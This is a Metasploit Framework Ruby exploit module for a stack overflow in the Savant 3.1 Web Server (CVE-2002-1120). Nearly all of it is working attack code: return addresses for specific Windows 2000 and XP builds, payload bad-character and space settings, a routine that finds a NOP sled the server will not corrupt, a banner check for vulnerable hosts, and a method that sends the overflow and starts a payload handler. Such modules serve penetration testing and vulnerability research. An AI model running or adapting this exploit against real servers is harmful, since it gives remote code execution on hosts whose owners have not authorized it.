128 lines
3.3 KiB
Ruby
128 lines
3.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Http::Savant_31_Overflow < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Savant 3.1 Web Server Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Savant 3.1 Web Server. The service
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supports a maximum of 10 threads (for a default install). Each exploit attempt
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generally causes a thread to die whether sucessful or not. Therefore you only
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have 10 chances (unless non-default).
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},
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'Author' => [ 'patrick' ],
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'Arch' => [ ARCH_X86 ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '5686' ],
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[ 'CVE', '2002-1120' ],
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[ 'OSVDB', '9829' ],
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[ 'URL', 'http://www.milw0rm.com/exploits/787' ],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 253,
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'BadChars' => "\x00\x0a\x0d%",
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'StackAdjustment' => -3500,
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},
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'Platform' => ['win'],
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'Targets' =>
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[
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# Patrick - Tested OK 2007/08/08 : w2ksp0, w2ksp4, xpsp2 en.
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[ 'Universal Savant.exe', { 'Ret' => 0x00417a96 } ], # p/r Savant.exe
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[ 'Windows 2000 Pro All - English', { 'Ret' => 0x750211aa } ], # p/r ws2help.dll
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[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2ac5 } ], # p/r ws2help.dll
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[ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa36b2 } ], # p/r ws2help.dll
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[ 'Windows XP Pro SP2 - English', { 'Ret' => 0x71ab76ed } ], # p/r ws2help.dll
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],
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'DisclosureDate' => 'Sep 10 2002',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(80),
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],self.class)
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end
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def check
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connect
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sock.put("GET / HTTP/1.0\r\n\r\n")
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banner = sock.get(-1,3)
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disconnect
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if (banner =~ /Savant\/3.1/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def safe_nops(count)
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# We need to find a safe nop combination.
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# Savant will change some chars in the http method type - anything before the "/".
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#
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# For example, "GET /" will remain "GET /", however
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# "\xe0 /" will be modified to "\xc0 /" ...
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# "\xfe /" will be modified to "\xde /" ...
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# "\xff /" will be modified to "\x9f /"
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# The code after the "/" - our payload - is unchanged >=)
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#
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# Savant bad_chars for the nops
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bad_nop_chars =[*(0xe0..0xff)].pack("C*")
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nopsled = make_nops(count) # make_nops includes the payload bad_chars
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bad_nop_chars.each_byte{ |badbyte|
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nopsled.each_byte { |goodbyte|
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if (goodbyte == badbyte)
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return false
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end
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}
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}
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return nopsled
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end
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def exploit
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connect
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print_status("Searching for a suitable nopsled...")
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findnop = safe_nops(24) # If we use short jump or make_nops(), sled will be corrupted.
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until findnop
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findnop = safe_nops(24) # If nops are banned, generate a new batch.
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end
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print_status("Found one! Sending exploit.")
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sploit = findnop + " /" + payload.encoded + [target['Ret']].pack('V')
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sock.put(sploit + "\r\n\r\n")
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handler
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disconnect
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end
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end
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end
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